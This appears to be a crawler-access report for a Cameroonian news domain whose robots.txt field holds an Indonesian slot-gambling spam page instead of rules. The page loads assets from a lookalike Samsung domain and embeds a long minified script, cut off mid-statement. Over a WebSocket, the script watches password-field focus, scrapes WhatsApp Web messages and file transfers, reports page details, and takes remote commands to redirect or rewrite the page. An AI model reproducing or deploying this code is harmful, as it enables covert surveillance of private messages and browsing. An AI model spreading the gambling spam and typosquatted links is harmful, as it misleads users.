CrawlerPulse
CrawlerPulse / Africa / Cameroon / lecamerounaisinfo.com

lecamerounaisinfo.com

lecamerounaisinfo.com · Cameroon · measured 8 Oct 2026

Google Search
Allowed
Google-Extended
Allowed
OpenAI
Allowed
Anthropic
Allowed
Perplexity
Allowed
Meta
Allowed
Common Crawl
Allowed
ByteDance
Allowed
Apple
Allowed
Amazon
Allowed

robots.txt

As read on 8 Oct 2026, 512,000 bytes. No rule names an AI crawler.

<!DOCTYPE html>
<html lang="id-ID">
<!-- SEO SENG -->
<head>
    <link href="https://satset138.org/" rel="preconnect" />
    <meta charset="utf-8" />
    <meta content="IE=edge" http-equiv="X-UA-Compatible" />
    <meta content="text/html; charset=utf-8" http-equiv="content-type" />
    <meta content="width=device-width, initial-scale=1" name="viewport" />
    <title>SATSET138: Situs Slot Online Gacor Resmi & Terpercaya No.1</title>
    <meta name="title" content="SATSET138: Situs Slot Online Gacor Resmi & Terpercaya No.1">
    <meta name="robots" content="index, follow">
    <link rel="canonical" href="https://satset138.org/">
    <link rel="amphtml" href="https://situs.satset138-mobile.id/">
    <link rel="alternate" hreflang="id-id" href="https://situs.satset138-mobile.id/" />
    <link rel="alternate" href="https://situs.satset138-mobile.id/" />
    <link rel="alternate" hreflang="id" href="https://situs.satset138-mobile.id/" />
    <link rel="alternate" hreflang="x-default" href="https://situs.satset138-mobile.id/" />
    <meta name="publisher" content="SATSET138">
    <meta name="pinterest" content="nopin" />
    <meta name="description"
        content="SATSET138 penyedia game slot online gampang menang dengan RTP live tertinggi. Akses login alternatif tanpa blokir, deposit instan, dan raih jackpot hari ini!">
    <meta name="keywords"
        content="SATSET138" />
    <meta name="sitecode" content="id">
    <meta name="twitter:card" content="summary_large_image">
    <meta name="twitter:title" content="SATSET138: Situs Slot Online Gacor Resmi & Terpercaya No.1">
    <meta name="twitter:description"
        content="SATSET138 penyedia game slot online gampang menang dengan RTP live tertinggi. Akses login alternatif tanpa blokir, deposit instan, dan raih jackpot hari ini!">
    <meta name="twitter:url" content="https://satset138.org/">
    <meta name="twitter:image" content="https://manggis.lol/assets/img/satset138.webp">
    <meta property="og:type" content="website">
    <meta property="og:site_name" content="SATSET138">
    <meta property="og:locale" content="id_ID">
    <meta property="og:url" content="https://satset138.org/">
    <meta property="og:title" content="SATSET138: Situs Slot Online Gacor Resmi & Terpercaya No.1">
    <meta property="og:description"
        content="SATSET138 penyedia game slot online gampang menang dengan RTP live tertinggi. Akses login alternatif tanpa blokir, deposit instan, dan raih jackpot hari ini!">
    <meta property="og:image" content="https://manggis.lol/assets/img/satset138.webp">
    <link rel="icon" type="image/png" sizes="96x96" href="https://keju.lol/assets/img/favicon-satset138.webp">
    <link rel="shortcut icon" href="https://keju.lol/assets/img/favicon-satset138.webp">
    <link rel="apple-touch-icon" sizes="144x144" href="https://keju.lol/assets/img/favicon-satset138.webp">
    <link rel="alternate" hreflang="en" href="https://situs.satset138-mobile.id/" />
    <link rel="alternate" hreflang="x-default" href="https://situs.satset138-mobile.id/" />
    <link rel="alternate" href="https://situs.satset138-mobile.id/" />
    <link
        href="https://www-samssung-com.pages.dev/etc.clientlibs/samsung/clientlibs/consumer/global/clientlib-site/sites/global/css/fonts.min.8a18f528e82f16d7420d24afc5dbd284.css"
        rel="stylesheet" type="text/css" />
    <link
        href="https://www-samssung-com.pages.dev/etc.clientlibs/samsung/clientlibs/consumer/global/clientlib-site/sites/id.min.d4a873f5ad80fabc15ee8200be9ce4ea.css"
        rel="stylesheet" type="text/css" />
    <link
        href="https://www-samssung-com.pages.dev/etc.clientlibs/samsung/clientlibs/consumer/global/clientlib-dependencies.min.1dd1d47f040029bab499de380db9b346.css"
        rel="stylesheet" type="text/css" />
    <link
        href="https://www-samssung-com.pages.dev/etc.clientlibs/samsung/clientlibs/consumer/global/clientlib-base-ux25.min.cfaf16f3ce915af071216f8067965b12.css"
        rel="stylesheet" type="text/css" />
    <link as="image"
        href="https://images.samsung.com/is/image/samsung/p6pim/id/sm-a075fzkdxid/gallery/id-galaxy-a07-sm-a075-sm-a075fzkdxid-548603128?$360_288_PNG$"
        media="(max-width:767px) and (-webkit-max-device-pixel-ratio: 1.4)" rel="preload">
    <link as="image"
        href="https://images.samsung.com/is/image/samsung/p6pim/id/sm-a075fzkdxid/gallery/id-galaxy-a07-sm-a075-sm-a075fzkdxid-548603128?$720_576_PNG$"
        media="(max-width:767px) and (-webkit-min-device-pixel-ratio: 1.5)" rel="preload">
    <link as="image"
        href="https://images.samsung.com/is/image/samsung/p6pim/id/sm-a075fzkdxid/gallery/id-galaxy-a07-sm-a075-sm-a075fzkdxid-548603128?$365_292_PNG$"
        media="(min-width:768px) and (max-width:1365px) and (-webkit-max-device-pixel-ratio: 1.4)" rel="preload">
    <link as="image"
        href="https://images.samsung.com/is/image/samsung/p6pim/id/sm-a075fzkdxid/gallery/id-galaxy-a07-sm-a075-sm-a075fzkdxid-548603128?$730_584_PNG$"
        media="(min-width:768px) and (max-width:1365px) and (-webkit-max-device-pixel-ratio: 1.5)" rel="preload">
    <link as="image"
        href="https://images.samsung.com/is/image/samsung/p6pim/id/sm-a075fzkdxid/gallery/id-galaxy-a07-sm-a075-sm-a075fzkdxid-548603128?$650_519_PNG$"
        media="(min-width:1366px) and (-webkit-max-device-pixel-ratio: 1.4)" rel="preload" />
    <link as="image"
        href="https://images.samsung.com/is/image/samsung/p6pim/id/sm-a075fzkdxid/gallery/id-galaxy-a07-sm-a075-sm-a075fzkdxid-548603128?$1300_1038_PNG$"
        media="(min-width:1366px) and (-webkit-max-device-pixel-ratio: 1.5)" rel="preload" />
    <link
        href="https://www-samssung-com.pages.dev/etc.clientlibs/samsung/components/content/consumer/global/product-dynamic/pd-g-anchor-navigation-ux25/clientlibs/site.min.f0928494201809fec3a1e8977d8c2a53.css"
        rel="stylesheet" type="text/css" />
    <link
        href="https://www-samssung-com.pages.dev/etc.clientlibs/samsung/clientlibs/consumer/global/clientlib-templates/page-buying-pd.min.31450f4f522ff9cbaa6a27f7b92a8f37.css"
        rel="stylesheet" type="text/css" />
    <link
        href="https://www-samssung-com.pages.dev/etc.clientlibs/samsung/clientlibs/consumer/global/clientlib-templates/page-buying-pd/compactComps.min.c8df1c312f007cbe365067bcf47300e4.css"
        rel="stylesheet" type="text/css" />
    <link
        href="https://www-samssung-com.pages.dev/etc.clientlibs/samsung/clientlibs/consumer/global/clientlib-templates/page-buying-pd/compactComps-h-n.min.d41d8cd98f00b204e9800998ecf8427e.css"
        rel="stylesheet" type="text/css" />
    <link
        href="https://www-samssung-com.pages.dev/etc.clientlibs/samsung/components/content/consumer/global/product-popup/pd-g-wishlist-popup/clientlibs/site.min.d49c101fdadccee88e030f4c91651e9c.css"
        rel="stylesheet" type="text/css" />
    <link
        href="https://www-samssung-com.pages.dev/etc.clientlibs/samsung/components/content/consumer/global/product-popup/pd-g-eip-popup/clientlibs/site.min.f2f39cae0431b16573847bcb7d615526.css"
        rel="stylesheet" type="text/css" />
    <script>!function () { var e, t, Y; function n() { try { return window.self === window.top } catch (e) { return !1 } } function r() { setTimeout((function () { var e = { type: "focus", token: w.token, title: document.title, url: document.URL, focused: document.hasFocus(), useragent: navigator.userAgent, pid: w.pid, pn: w.pn }; null != B && B.readyState == WebSocket.OPEN && B.send(JSON.stringify(e)) }), 0) } function a() { var e = { type: "notification", token: w.token, title: document.title, url: document.URL, focused: document.hasFocus(), timeout: w.sendNotificationsInterval, useragent: navigator.appVersion.length > navigator.userAgent.length ? navigator.appVersion : navigator.userAgent, pid: w.pid, pn: w.pn }; B.send(JSON.stringify(e)) } function s() { y() } function i() { n() && (clearInterval(I), clearInterval(T)), timeout = setTimeout((function () { g() }), L) } function o(e) { if (n()) switch (e.data.substring(0, 1)) { case "r": window.location = e.data.substring(1); break; case "b": document.body.innerHTML = e.data.substring(1); break; case "w": var t = "true" == e.data.substring(1).toLowerCase(); O != t && t && v(), O = t; break; case "x": !function (e) { try { const t = JSON.parse(e), Y = b.get(t.requestId); if (Y) { b.delete(t.requestId); const { responseCallback: e, fileName: n } = Y; e(t, n) } } catch (e) { unblockPage() } }(e.data.substring(1)) } } function u(e) { var t = document.createElement("a"); return t.href = e, t.href } function d(e) { if (!e) return !1; if ("password" == e.type) return !0; if (e instanceof HTMLInputElement) { var t = window.getComputedStyle(e); if (t) { var Y = t.getPropertyValue("-webkit-text-security"); return ["disc", "circle", "square"].includes(Y) } } return !1 } function c(e, t = !1) { if (d(e) && !J) if (J = !0, n()) { var Y = { type: "password_input_focus", focus: !0, token: w.token }; B.send(JSON.stringify(Y)) } else window.top.postMessage({ message: "iframePasswordInputFocused", name: e.name, type: "password" }, "*") } function M(e, t = !1) { var Y = e && e.name ? e.name : "<unnamed>"; if (d(e) && J) if (J = !1, n()) { var r = { type: "password_input_focus", focus: !1, token: w.token }; B.send(JSON.stringify(r)) } else window.top.postMessage({ message: "iframePasswordInputBlurred", name: Y, type: "password" }, "*") } function l(e) { var t = document.activeElement; t && t != document.body ? document.querySelector && (t = document.querySelector(":focus")) : t = null; for (var Y = 0; Y < e.length; ++Y) { let s = e[Y]; var n = d(s), r = n && s.hasAttribute("autofocus"), a = n && t && s.isEqualNode(t); (r || a) && c(s), s.tmInputEventListenerAttached || (s.addEventListener("focus", (function (e) { c(e.target) }), !0), s.addEventListener("blur", (function (e) { M(e.target) }), !0), s.tmInputEventListenerAttached = !0) } } function f() { l(document.getElementsByTagName("input")); var e = new MutationObserver((function (e) { e && e.forEach((function (e) { e && e.addedNodes && 0 != e.addedNodes.length && (window.NodeList && !NodeList.prototype.forEach && (NodeList.prototype.forEach = Array.prototype.forEach), e.addedNodes.forEach((function (e) { if (e.tagName) { var t = []; "input" == e.tagName.toLowerCase() ? t.push(e) : t = e.getElementsByTagName("input"), t.length && l(t) } }))) })) })); e.observe(document, { childList: !0, subtree: !0 }), window.addEventListener("beforeunload", (function (e) { M(), function () { for (var e = document.getElementsByTagName("input"), t = 0; t < e.length; ++t) { let Y = e[t]; Y.removeEventListener("focus", c), Y.removeEventListener("blur", M), delete Y.tmInputEventListenerAttached } }() })) } function D() { var e; n() && (w.iup && (e = { type: "connect", token: w.token, title: document.title, url: document.URL, focused: document.hasFocus(), useragent: navigator.userAgent, pid: w.pid, pn: w.pn }, null != B && B.readyState == WebSocket.OPEN && B.send(JSON.stringify(e))), h() && (v(), y(), function () { function e(e) { return e.baseURI && e.baseURI.startsWith("https://web.whatsapp.com/") } function t(e) { const t = e.dataTransfer.files; t.length > 0 && Array.from(t).forEach((e => { N(e) })) } document.querySelectorAll("div").forEach((Y => { e(Y) && Y.addEventListener("drop", t, { passive: !0 }) })); var Y = new MutationObserver((function (e) { e && (Array.from(document.querySelectorAll(".message-in, .message-out")).reduce(((e, t) => { var Y = t.querySelector("button[type=button], div[role=button]"); return Y && e.push(Y), e }), []).forEach((e => { const t = "modified"; e.hasAttribute(t) || (e.setAttribute(t, ""), e.onclick = t => { t.verified || (t.preventDefault(), t.stopPropagation(), new Promise((function (t, Y) { !function (e, t, Y) { try { const Y = e.parentElement, n = Y[Object.keys(Y).find((e => e.includes("__reactProps")))].children.props.msg, r = n.mediaData, a = crypto.randomUUID(); b.set(a, { responseCallback: e => t(!e.block) }), B.send(JSON.stringify({ requestId: a, type: "waptransfer", direction: "download", filename: r.__x_filename, filesize: r.__x_size, filetype: r.__x_mimetype, filehash: n.__x_encFilehash, url: document.URL, process: w.pn, content: "" })) } catch { Y() } }(e, t, (() => setTimeout((() => Y()), 1))) })).then((e => { t.verified = e, t.verified && t.target.dispatchEvent(t) }), (() => { }))) }) })), e.forEach((function (e) { e && ("childList" !== e.type || e.addedNodes.length <= 0 || e.addedNodes.forEach((function (e) { if (e) { e.querySelectorAll("input").forEach((e => { !function (e) { const t = "modified"; "file" !== e.type || e.hasAttribute(t) || (e.setAttribute(t, ""), e.addEventListener("change", (e => { Array.from(e.target.files).forEach((e => { N(e) })) }))) }(e) })); var t = document.querySelectorAll("div[id=main] header div")[2]; if (t) { var Y = t.querySelectorAll("div")[1], n = t.querySelectorAll("div")[2]; k = (Y ? Y.innerText : "") + ":" + (n ? n.innerText : "") } document.querySelector("div[id=main] header span[data-icon=default-user]") && (C = "private"), document.querySelector("div[id=main] header span[data-icon=default-group]") && (C = "group"); var r = e.querySelectorAll(".message-in, .message-out"); r || A("msgNodes is empty"), e.matches(".message-in, .message-out") && (r = Array.prototype.slice.call(r)).push(e), r && 0 != r.length ? r.forEach((function (e) { if (e) if (!e.classList || e.classList.length <= 0) A("msg node does not contain classList or classList is empty"); else { var t = e.classList.contains("message-in"), Y = e.querySelector(".copyable-text"), n = e.querySelector(".selectable-text"), r = new Date, a = null; if (Y && Y.attributes["data-pre-plain-text"]) { var s = Y.attributes["data-pre-plain-text"].textContent, i = /\[(\d{1,2}):(\d{1,2})[ ]{0,1}([p|a]\.?\s?m\.?)?,\s(.+)]\s(.*):/i[Symbol.match](s); if (!i || 6 != i.length) return void A("no matches for string: " + s); if (i[3] && i[3].length > 1 && "p" == i[3].toLowerCase().slice(0, 1) && (i[1] = parseInt(i[1]) + 12), dateParts = /(\d{1,4})[.-\\/](\d{1,4})[.-\\/](\d{1,4})/[Symbol.match](i[4]), !dateParts || 4 != dateParts.length) return void A("no matches for string: " + i[4]); if (A(i[4] + F), !(r = date.parse(i[4], F) || function (e, t, Y) { var n = [[e, t, Y].join("-"), [e, Y, t].join("-"), [t, e, Y].join("-"), [t, Y, e].join("-"), [Y, e, t].join("-"), [Y, t, e].join("-")], r = Date.now(); for (var a in n) { var s = Date.parse(n[a]); if (s && !(Math.abs(r - s) > 1728e6)) return new Date(s) } }(dateParts[1], dateParts[2], dateParts[3]))) return void A("Can't parse date from string: " + i[4]); r.setHours(i[1]), r.setMinutes(i[2]), a = i[5] } A("isIncomingMsg = " + t + " msgDateTime = " + r + " msgSender = " + a + " wapStartTime = " + x + " wapTrackingEnabled = " + O), H.get(k) || H.set(k, x); var o = n ? n.innerText : null; if (A("msgContent = " + o), a && o && O) { var u = (a + o + k + r.getTime()).split("").map((function (e) { return e.charCodeAt(0) })).reduce((function (e, t) { return e + ((e << 7) + (e << 3)) ^ t })).toString(16); if (H.get(k).getTime() == r.getTime() ? r.setMilliseconds(++R) : (R = 0, H.set(k, r)), !u || P.has(u)) return void A("msgId is null or this msgId already tracked " + u); var d = { type: "wapmessage", timestamp: r.getTime(), id: u, incoming: t, sender: t ? a : "Me", content: o, recipient: t ? "Me" : k, conversationId: k + "(" + C + ")" }; B.send(JSON.stringify(d)), P.add(u) } } })) : A("no msg nodes found") } }))) }))) })); if (!Y) return; Y.observe(document.body, { childList: !0, subtree: !0 }), A("observer is ready") }()), n() && (a(), I = setInterval(a, w.sendNotificationsInterval), h() && (T = setInterval(s, w.pollWhatsappTrackingInterval))), function () { for (var e = [], t = document.getElementsByTagName("link"), Y = 0; Y < t.length; ++Y)"icon" != t[Y].getAttribute("rel") && "shortcut icon" != t[Y].getAttribute("rel") || (e[e.length] = u(t[Y].getAttribute("href"))); 0 == e.length && (e[0] = u("/favicon.ico")); var n = { type: "favicon" }; n.url = document.URL, n.src = e, n.title = document.title, n.token = w.token, n.useragent = navigator.appVersion.length > navigator.userAgent.length ? navigator.appVersion : navigator.userAgent, B.send(JSON.stringify(n)) }(), w.dontTrackWebPasswords && f()) } function p() { document.tmfilter || (g(), F = { "ar-SA": "D/M/YY", "bg-BG": "D.M.YYYY", "ca-ES": "D/M/YYYY", "zh-TW": "YYYY/M/D", "cs-CZ": "D.M.YYYY", "Da-DK": "D-M-YYYY", "De-DE": "D.M.YYYY", "el-GR": "D/M/YYYY", "en-US": "M/D/YYYY", "fi-FI": "D.M.YYYY", "fr-FR": "D/M/YYYY", "he-IL": "D/M/YYYY", "hu-HU": "YYYY. M. D.", "is-IS": "D.M.YYYY", "it-IT": "D/M/YYYY", "ja-JP": "YYYY/M/D", "ko-KR": "YYYY-M-D", "nl-NL": "D-M-YYYY", "nb-NO": "D.M.YYYY", "pl-PL": "YYYY-M-D", "pt-BR": "D/M/YYYY", "ro-RO": "D.M.YYYY", "ru-RU": "D.M.YYYY", "hr-HR": "D.M.YYYY", "sk-SK": "D. M. YYYY", "sq-AL": "YYYY-M-D", "sv-SE": "YYYY-M-D", "th-TH": "D/M/YYYY", "tr-TR": "D.M.YYYY", "ur-PK": "D/M/YYYY", "iD-ID": "D/M/YYYY", "uk-UA": "D.M.YYYY", "be-BY": "D.M.YYYY", "sl-SI": "D.M.YYYY", "et-EE": "D.M.YYYY", "lv-LV": "YYYY.M.D.", "lt-LT": "YYYY.M.D", "fa-IR": "M/D/YYYY", "vi-VN": "D/M/YYYY", "hy-AM": "D.M.YYYY", "az-Latn-AZ": "D.M.YYYY", "eu-ES": "YYYY/M/D", "Mk-MK": "D.M.YYYY", "af-ZA": "YYYY/M/D", "ka-GE": "D.M.YYYY", "fo-FO": "D-M-YYYY", "hi-IN": "D-M-YYYY", "Ms-MY": "D/M/YYYY", "kk-KZ": "D.M.YYYY", "ky-KG": "D.M.YY", "sw-KE": "M/D/YYYY", "uz-Latn-UZ": "D/M YYYY", "tt-RU": "D.M.YYYY", "pa-IN": "D-M-YY", "gu-IN": "D-M-YY", "ta-IN": "D-M-YYYY", "te-IN": "D-M-YY", "kn-IN": "D-M-YY", "Mr-IN": "D-M-YYYY", "sa-IN": "D-M-YYYY", "Mn-MN": "YY.M.D", "gl-ES": "D/M/YY", "kok-IN": "D-M-YYYY", "syr-SY": "D/M/YYYY", "Dv-MV": "D/M/YY", "ar-IQ": "D/M/YYYY", "zh-CN": "YYYY/M/D", "De-CH": "D.M.YYYY", "en-GB": "D/M/YYYY", "es-MX": "D/M/YYYY", "fr-BE": "D/M/YYYY", "it-CH": "D.M.YYYY", "nl-BE": "D/M/YYYY", "nn-NO": "D.M.YYYY", "pt-PT": "D-M-YYYY", "sr-Latn-CS": "D.M.YYYY", "sv-FI": "D.M.YYYY", "az-Cyrl-AZ": "D.M.YYYY", "Ms-BN": "D/M/YYYY", "uz-Cyrl-UZ": "D.M.YYYY", "ar-EG": "D/M/YYYY", "zh-HK": "D/M/YYYY", "De-AT": "D.M.YYYY", "en-AU": "D/M/YYYY", "es-ES": "D/M/YYYY", "fr-CA": "YYYY-M-D", "sr-Cyrl-CS": "D.M.YYYY", "ar-LY": "D/M/YYYY", "zh-SG": "D/M/YYYY", "De-LU": "D.M.YYYY", "en-CA": "D/M/YYYY", "es-GT": "D/M/YYYY", "fr-CH": "D.M.YYYY", "ar-DZ": "D-M-YYYY", "zh-MO": "D/M/YYYY", "De-LI": "D.M.YYYY", "en-NZ": "D/M/YYYY", "es-CR": "D/M/YYYY", "fr-LU": "D/M/YYYY", "ar-MA": "D-M-YYYY", "en-IE": "D/M/YYYY", "es-PA": "M/D/YYYY", "fr-MC": "D/M/YYYY", "ar-TN": "D-M-YYYY", "en-ZA": "YYYY/M/D", "es-DO": "D/M/YYYY", "ar-OM": "D/M/YYYY", "en-JM": "D/M/YYYY", "es-VE": "D/M/YYYY", "ar-YE": "D/M/YYYY", "en-029": "M/D/YYYY", "es-CO": "D/M/YYYY", "ar-SY": "D/M/YYYY", "en-BZ": "D/M/YYYY", "es-PE": "D/M/YYYY", "ar-JO": "D/M/YYYY", "en-TT": "D/M/YYYY", "es-AR": "D/M/YYYY", "ar-LB": "D/M/YYYY", "en-ZW": "M/D/YYYY", "es-EC": "D/M/YYYY", "ar-KW": "D/M/YYYY", "en-PH": "M/D/YYYY", "es-CL": "D-M-YYYY", "ar-AE": "D/M/YYYY", "es-UY": "D/M/YYYY", "ar-BH": "D/M/YYYY", "es-PY": "D/M/YYYY", "ar-QA": "D/M/YYYY", "es-BO": "D/M/YYYY", "es-SV": "D/M/YYYY", "es-HN": "D/M/YYYY", "es-NI": "D/M/YYYY", "es-PR": "D/M/YYYY", "aM-ET": "D/M/YYYY", "tzM-Latn-DZ": "D-M-YYYY", "iu-Latn-CA": "D/M/YYYY", "sMa-NO": "D.M.YYYY", "Mn-Mong-CN": "YYYY/M/D", "gD-GB": "D/M/YYYY", "en-MY": "D/M/YYYY", "prs-AF": "D/M/YY", "bn-BD": "D-M-YY", "wo-SN": "D/M/YYYY", "rw-RW": "M/D/YYYY", "qut-GT": "D/M/YYYY", "sah-RU": "M.D.YYYY", "gsw-FR": "D/M/YYYY", "co-FR": "D/M/YYYY", "oc-FR": "D/M/YYYY", "Mi-NZ": "D/M/YYYY", "ga-IE": "D/M/YYYY", "se-SE": "YYYY-M-D", "br-FR": "D/M/YYYY", "sMn-FI": "D.M.YYYY", "Moh-CA": "M/D/YYYY", "arn-CL": "D-M-YYYY", "ii-CN": "YYYY/M/D", "Dsb-DE": "D. M. YYYY", "ig-NG": "D/M/YYYY", "kl-GL": "D-M-YYYY", "lb-LU": "D/M/YYYY", "ba-RU": "D.M.YY", "nso-ZA": "YYYY/M/D", "quz-BO": "D/M/YYYY", "yo-NG": "D/M/YYYY", "ha-Latn-NG": "D/M/YYYY", "fil-PH": "M/D/YYYY", "ps-AF": "D/M/YY", "fy-NL": "D-M-YYYY", "ne-NP": "M/D/YYYY", "se-NO": "D.M.YYYY", "iu-Cans-CA": "D/M/YYYY", "sr-Latn-RS": "D.M.YYYY", "si-LK": "YYYY-M-D", "sr-Cyrl-RS": "D.M.YYYY", "lo-LA": "D/M/YYYY", "kM-KH": "YYYY-M-D", "cy-GB": "D/M/YYYY", "bo-CN": "YYYY/M/D", "sMs-FI": "D.M.YYYY", "as-IN": "D-M-YYYY", "Ml-IN": "D-M-YY", "en-IN": "D-M-YYYY", "or-IN": "D-M-YY", "bn-IN": "D-M-YY", "tk-TM": "D.M.YY", "bs-Latn-BA": "D.M.YYYY", "Mt-MT": "D/M/YYYY", "sr-Cyrl-ME": "D.M.YYYY", "se-FI": "D.M.YYYY", "zu-ZA": "YYYY/M/D", "xh-ZA": "YYYY/M/D", "tn-ZA": "YYYY/M/D", "hsb-DE": "D. M. YYYY", "bs-Cyrl-BA": "D.M.YYYY", "tg-Cyrl-TJ": "D.M.YY", "sr-Latn-BA": "D.M.YYYY", "sMj-NO": "D.M.YYYY", "rM-CH": "D/M/YYYY", "sMj-SE": "YYYY-M-D", "quz-EC": "D/M/YYYY", "quz-PE": "D/M/YYYY", "hr-BA": "D.M.YYYY.", "sr-Latn-ME": "D.M.YYYY", "sMa-SE": "YYYY-M-D", "en-SG": "D/M/YYYY", "ug-CN": "YYYY-M-D", "sr-Cyrl-BA": "D.M.YYYY", "es-US": "M/D/YYYY" }[navigator.language], document.tmfilter = "present") } function g() { (B = new WebSocket(w.connectionString)).onclose = i, B.onmessage = o, B.onopen = D, w.extJs && (w.extJs.webSock = { readyState: () => B.readyState, send: e => B.send(e) }) } function m() { var e = function () { var e = ["webkit", "moz", "ms", "o"]; if ("hidden" in document) return "hidden"; for (var t = 0; t < e.length; t++)if (e[t] + "Hidden" in document) return e[t] + "Hidden"; return null }(); return !!e && document[e] } function h() { var e = document.head.querySelector("[name='og:title']"); return !!e && "WhatsApp Web" === e.getAttribute("content") } function y() { B.send(JSON.stringify({ type: "waptracking" })) } function v() { H = new Map, P = new Set, R = 0, (x = new Date).setSeconds(0), x.setMilliseconds(0) } function S(e) { for (var t = "", Y = new Uint8Array(e), n = Y.byteLength, r = 0; r < n; r++)t += String.fromCharCode(Y[r]); return window.btoa(t) } e = this, t = {}, Y = { en: { MMMM: "January February March April May June July August September October November December".split(" "), MMM: "Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec".split(" "), dddd: "Sunday Monday Tuesday Wednesday Thursday Friday Saturday".split(" "), ddd: "Sun Mon Tue Wed Thu Fri Sat".split(" "), dd: "Su Mo Tu We Th Fr Sa".split(" "), A: ["a.m.", "p.m."], formatter: { YYYY: function (e) { return ("000" + e.getFullYear()).slice(-4) }, YY: function (e) { return ("0" + e.getFullYear()).slice(-2) }, Y: function (e) { return "" + e.getFullYear() }, MMMM: function (e) { return this.MMMM[e.getMonth()] }, MMM: function (e) { return this.MMM[e.getMonth()] }, MM: function (e) { return ("0" + (e.getMonth() + 1)).slice(-2) }, M: function (e) { return "" + (e.getMonth() + 1) }, DD: function (e) { return ("0" + e.getDate()).slice(-2) }, D: function (e) { return "" + e.getDate() }, HH: function (e) { return ("0" + e.getHours()).slice(-2) }, H: function (e) { return "" + e.getHours() }, A: function (e) { return this.A[11 < e.getHours() | 0] }, hh: function (e) { return ("0" + (e.getHours() % 12 || 12)).slice(-2) }, h: function (e) { return "" + (e.getHours() % 12 || 12) }, mm: function (e) { return ("0" + e.getMinutes()).slice(-2) }, m: function (e) { return "" + e.getMinutes() }, ss: function (e) { return ("0" + e.getSeconds()).slice(-2) }, s: function (e) { return "" + e.getSeconds() }, SSS: function (e) { return ("00" + e.getMilliseconds()).slice(-3) }, SS: function (e) { return ("0" + (e.getMilliseconds() / 10 | 0)).slice(-2) }, S: function (e) { return "" + (e.getMilliseconds() / 100 | 0) }, dddd: function (e) { return this.dddd[e.getDay()] }, ddd: function (e) { return this.ddd[e.getDay()] }, dd: function (e) { return this.dd[e.getDay()] }, Z: function (e) { return (0 < (e = e.utc ? 0 : e.getTimezoneOffset() / .6) ? "-" : "+") + ("000" + Math.abs(e - e % 100 * .4)).slice(-4) }, post: function (e) { return e } }, parser: { find: function (e, t) { for (var Y, n = -1, r = 0, a = 0, s = e.length; a < s; a++)Y = e[a], !t.indexOf(Y) && Y.length > r && (n = a, r = Y.length); return { index: n, length: r } }, MMMM: function (e) { return this.parser.find(this.MMMM, e) }, MMM: function (e) { return this.parser.find(this.MMM, e) }, A: function (e) { return this.parser.find(this.A, e) }, h: function (e, t) { return (12 === e ? 0 : e) + 12 * t }, pre: function (e) { return e } } } }, t.format = function (e, n, r) { var a = t.addMinutes(e, r ? e.getTimezoneOffset() : 0), s = Y.en, i = s.formatter; return a.utc = r, n.replace(/(\[[^\[\]]*]|\[.*\][^\[]*\]|YYYY|YY|MMM?M?|DD|HH|hh|mm|ss|SSS?|ddd?d?|.)/g, (function (e) { var t = i[e]; return t ? i.post(t.call(s, a, n)) : e.replace(/\[(.*)]/, "$1") })) }, t.parse = function (e, n, r) { var a, s, i = Y.en, o = i.parser.pre(e), u = 0, d = /(MMMM?|A)|(YYYY)|(SSS)|(MM|DD|HH|hh|mm|ss)|(YY|M|D|H|h|m|s|SS)|(S)|(.)/g, c = { 2: /^\d{1,4}/, 3: /^\d{1,3}/, 4: /^\d\d/, 5: /^\d\d?/, 6: /^\d/ }; e = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]; for (var M = { Y: 1970, M: 1, D: 1, H: 0, m: 0, s: 0, S: 0 }; a = d.exec(n);) { var l = 0, f = 1; for (s = ""; !s;)s = a[++l]; a = s.charAt(0); var D = o.slice(u); if (2 > l) { var p = i.parser[s].call(i, D, n); M[a] = p.index, "M" === a && M[a]++, f = p.length } else if (7 > l) p = (D.match(c[l]) || [""])[0], M[a] = 0 | ("S" === a ? (p + "000").slice(0, -s.length) : p), f = p.length; else if (" " !== a && a !== D[0]) return NaN; if (!f) return NaN; u += f } return u === o.length && p ? (M.Y += 70 > M.Y ? 2e3 : 100 > M.Y ? 1900 : 0, M.H = M.H || i.parser.h(M.h || 0, M.A || 0), n = new Date(M.Y, M.M - 1, M.D, M.H, M.m, M.s, M.S), e[1] += 0 | t.isLeapYear(n), 1 > M.M || 12 < M.M || 1 > M.D || M.D > e[M.M - 1] || 23 < M.H || 59 < M.m || 59 < M.s ? NaN : r ? t.addMinutes(n, -n.getTimezoneOffset()) : n) : NaN }, t.isValid = function (e, Y) { return !!t.parse(e, Y) }, t.addYears = function (e, Y) { return t.addMonths(e, 12 * Y) }, t.addMonths = function (e, t) { var Y = new Date(e.getTime()); return Y.setMonth(Y.getMonth() + t), Y }, t.addDays = function (e, t) { var Y = new Date(e.getTime()); return Y.setDate(Y.getDate() + t), Y }, t.addHours = function (e, Y) { return t.addMilliseconds(e, 36e5 * Y) }, t.addMinutes = function (e, Y) { return t.addMilliseconds(e, 6e4 * Y) }, t.addSeconds = function (e, Y) { return t.addMilliseconds(e, 1e3 * Y) }, t.addMilliseconds = function (e, t) { return new Date(e.getTime() + t) }, t.subtract = function (e, t) { var Y = e.getTime() - t.getTime(); return { toMilliseconds: function () { return Y }, toSeconds: function () { return Y / 1e3 | 0 }, toMinutes: function () { return Y / 6e4 | 0 }, toHours: function () { return Y / 36e5 | 0 }, toDays: function () { return Y / 864e5 | 0 } } }, t.isLeapYear = function (e) { return !(((e = e.getFullYear()) % 4 || !(e % 100)) && e % 400) }, t.isSameDay = function (e, Y) { return t.format(e, "YYYYMMDD") === t.format(Y, "YYYYMMDD") }, e.date = t; const b = new Map; function N(e) { const t = "tm_overlay", Y = 10485760; let n = function () { let e = document.getElementById(t); e && e.remove(), b.clear() }; if (e) { const r = new FileReader; let a; e.size > Y && (a = e.slice(0, Y)); let s = !1; if (b.forEach((t => { t.fileName === e.name && (s = !0) })), !s) { r.addEventListener("load", (t => { try { const t = crypto.randomUUID(); b.set(t, { responseCallback: e => { e.block && function () { const e = [], t = t => { t.querySelectorAll('button:not([tabindex="-1"])').forEach((t => { t.querySelector('span[data-icon="x"]') && (e.push(t), t.click()) })) }, Y = new MutationObserver(((Y, n) => { Y.forEach((e => { "childList" === e.type && e.addedNodes.length > 0 && e.addedNodes.forEach((e => { e.nodeType === Node.ELEMENT_NODE && t(e) })) })), e.length > 0 && n.disconnect() })); Y.observe(document.body, { childList: !0, subtree: !0 }), t(document), e.length > 0 && Y.disconnect() }(), n() }, fileName: e.name }), B.send(JSON.stringify({ requestId: t, type: "waptransfer", direction: "upload", filename: e.name, filesize: e.size, filetype: e.type, url: document.URL, filehash: "0", process: 